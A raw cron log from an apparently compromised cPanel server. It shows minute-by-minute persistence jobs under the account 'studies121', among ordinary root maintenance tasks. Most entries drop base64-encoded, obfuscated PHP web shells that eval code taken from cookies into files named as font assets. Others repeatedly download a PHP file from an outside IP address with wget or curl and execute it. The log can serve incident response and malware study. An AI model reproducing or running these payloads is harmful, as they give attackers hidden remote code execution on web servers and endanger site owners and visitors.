Sep 10 17:16:01 ip-184-168-122-23 CROND[12534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:16:01 ip-184-168-122-23 CROND[12535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:16:01 ip-184-168-122-23 CROND[12538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:16:01 ip-184-168-122-23 CROND[12537]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:16:01 ip-184-168-122-23 CROND[12536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:17:01 ip-184-168-122-23 CROND[12731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:17:01 ip-184-168-122-23 CROND[12732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:17:01 ip-184-168-122-23 CROND[12729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:17:01 ip-184-168-122-23 CROND[12730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:18:01 ip-184-168-122-23 CROND[12842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:18:01 ip-184-168-122-23 CROND[12844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:18:01 ip-184-168-122-23 CROND[12846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:18:01 ip-184-168-122-23 CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:18:01 ip-184-168-122-23 CROND[12849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:19:01 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:19:01 ip-184-168-122-23 CROND[12950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:19:01 ip-184-168-122-23 CROND[12951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:19:01 ip-184-168-122-23 CROND[12952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:20:01 ip-184-168-122-23 CROND[13055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:20:01 ip-184-168-122-23 CROND[13064]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:20:01 ip-184-168-122-23 CROND[13067]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:20:01 ip-184-168-122-23 CROND[13065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:21:01 ip-184-168-122-23 CROND[13163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:21:01 ip-184-168-122-23 CROND[13165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:21:01 ip-184-168-122-23 CROND[13166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:21:01 ip-184-168-122-23 CROND[13167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:22:01 ip-184-168-122-23 CROND[13381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:22:01 ip-184-168-122-23 CROND[13383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:22:01 ip-184-168-122-23 CROND[13384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:22:01 ip-184-168-122-23 CROND[13385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:22:01 ip-184-168-122-23 CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:23:01 ip-184-168-122-23 CROND[13489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:23:01 ip-184-168-122-23 CROND[13491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:23:01 ip-184-168-122-23 CROND[13492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:23:01 ip-184-168-122-23 CROND[13493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:24:01 ip-184-168-122-23 CROND[13584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:24:01 ip-184-168-122-23 CROND[13587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:24:01 ip-184-168-122-23 CROND[13586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:24:01 ip-184-168-122-23 CROND[13588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:24:01 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:25:01 ip-184-168-122-23 CROND[13693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:25:01 ip-184-168-122-23 CROND[13694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:25:01 ip-184-168-122-23 CROND[13692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:25:01 ip-184-168-122-23 CROND[13695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:25:01 ip-184-168-122-23 CROND[13690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:25:01 ip-184-168-122-23 CROND[13691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:26:01 ip-184-168-122-23 CROND[13810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:26:01 ip-184-168-122-23 CROND[13809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:26:01 ip-184-168-122-23 CROND[13811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:26:01 ip-184-168-122-23 CROND[13813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:26:01 ip-184-168-122-23 CROND[13812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:27:01 ip-184-168-122-23 CROND[13999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:27:01 ip-184-168-122-23 CROND[14002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:27:01 ip-184-168-122-23 CROND[14003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:27:01 ip-184-168-122-23 CROND[14004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:28:01 ip-184-168-122-23 CROND[14088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:28:01 ip-184-168-122-23 CROND[14089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
